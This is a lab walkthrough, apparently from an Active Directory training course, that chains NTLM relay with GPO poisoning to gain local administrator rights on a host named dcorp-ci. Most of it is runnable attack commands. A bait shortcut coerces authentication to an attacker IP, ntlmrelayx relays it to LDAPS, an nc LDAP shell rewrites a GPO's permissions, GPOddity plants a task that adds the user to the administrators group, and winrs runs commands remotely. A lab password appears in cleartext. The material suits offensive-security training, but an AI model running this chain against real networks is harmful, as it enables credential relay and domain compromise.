NTLM relay
What's NTLM Relay?
NTLM Relay is a man-in-the-middle attack where an attacker captures an authentication attempt (Challenge/Response) from a victim and "relays" it to another service on the network. Instead of trying to crack the password, the attacker uses the victim's active "greeting" to authenticate as them in real-time.
The Two Scenarios:
Depending on your goal and the environment's configuration, you can handle captured NTLM traffic in two ways:
-
Offline Cracking (Capture): Using tools like Responder, you capture the NTLM hash and take it to your own machine (using Hashcat/John) to try to find the cleartext password. This is slow and fails if the password is complex.
-
Session Hijacking (Relay): Using ntlmrelayx.py, you immediately pass the authentication to a target (like a DC or a Database). If successful, you "hijack" the session and get a direct shell or administrative access (like the LDAP shell on port 11000) without ever knowing the password.
Privilege Escalation: GPO Abuse (GPOddity + NTLM Relay)
-
Scenario Overview
Target: Gain Local Administrator privileges on dcorp-ci.
Vector: The user devopsadmin has WriteDACL permissions over the DevOps Policy GPO. An automation on dcorp-ci executes any .lnk file placed in \dcorp-ci\AI as the devopsadmin user.
Tools: ntlmrelayx.py, GPOddity, PowerView.
-
Phase 1: Coercion & NTLM Relay (LDAP Shell)
The goal is to hijack devopsadmin's identity to modify the GPO's security descriptor. A. Start the Relay Listener (WSL) Bash
Run in WSL (Attacker IP: 172.16.100.44)
sudo ntlmrelayx.py -t ldaps://172.16.2.1 -wh 172.16.100.44 --http-port '80,8080' -i --no-smb-server
B. Create the Bait (.lnk) in Windows
Create a new shortcut on your student VM and move it to \dcorp-ci\AI. Use the following command as the target:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Invoke-WebRequest -Uri 'http://172.16.100.44' -UseDefaultCredentials"
C. Modify GPO ACLs (LDAP Shell)
Once the relay is successful, connect to the interactive LDAP shell: Bash
nc 127.0.0.1 11000
In the shell, grant your user full control over the GPO: Bash
# write_gpo_dacl <target_user> <GPO_GUID>
write_gpo_dacl student544 {0BF8D01C-1F62-4BDC-958C-57140B67D147}
- Phase 2: GPO Poisoning with GPOddity
With write permissions secured, we redirect the GPO download path to our controlled share. A. Execute GPOddity
This prepares a malicious Group Policy Template (GPT) containing a scheduled task that adds your user to the local admins group.
sudo python3 gpoddity.py --gpo-id '0BF8D01C-1F62-4BDC-958C-57140B67D147' --domain 'dollarcorp.moneycorp.local' --username 'student544' --password 'm8zcvKNWHPSwyAus' --command 'net localgroup administrators student544 /add' --rogue-smbserver-ip '172.16.100.44' --rogue-smbserver-share 'std544-gp' --dc-ip '172.16.2.1' --smb-mode none
B. Manual SMB Share Setup (Windows)
Since --smb-mode none was used, serve the modified GPT files from the Windows host:
# Create folder and share it
net share std544-gp=C:\AD\Tools\std544-gp /grant:Everyone,Full
# Grant NTFS permissions to allow the target machine to read the files
icacls "C:\AD\Tools\std544-gp" /grant Everyone:F /T
- Phase 3: Verification & Post-Exploitation
GPOs typically refresh every 2 minutes in the lab environment. A. Verify AD Attribute Redirection
Check if the gPCFileSysPath attribute now points to your attacker IP:
Get-DomainGPO -Identity 'DevOps Policy' | Select-Object displayname, gpcfilesyspath
# Expected Output: \\172.16.100.44\std544-gp
B. Verify Group Membership
If winrs returns Access Denied, check the local group members directly to see if the command has executed:
Get-NetLocalGroupMember -ComputerName dcorp-ci -GroupName Administrators
C. Final Access
Once your user appears in the Administrators list, confirm full access:
# Test administrative file system access
ls \\dcorp-ci\C$
# Remote execution
winrs -r:dcorp-ci cmd /c "set computername && whoami"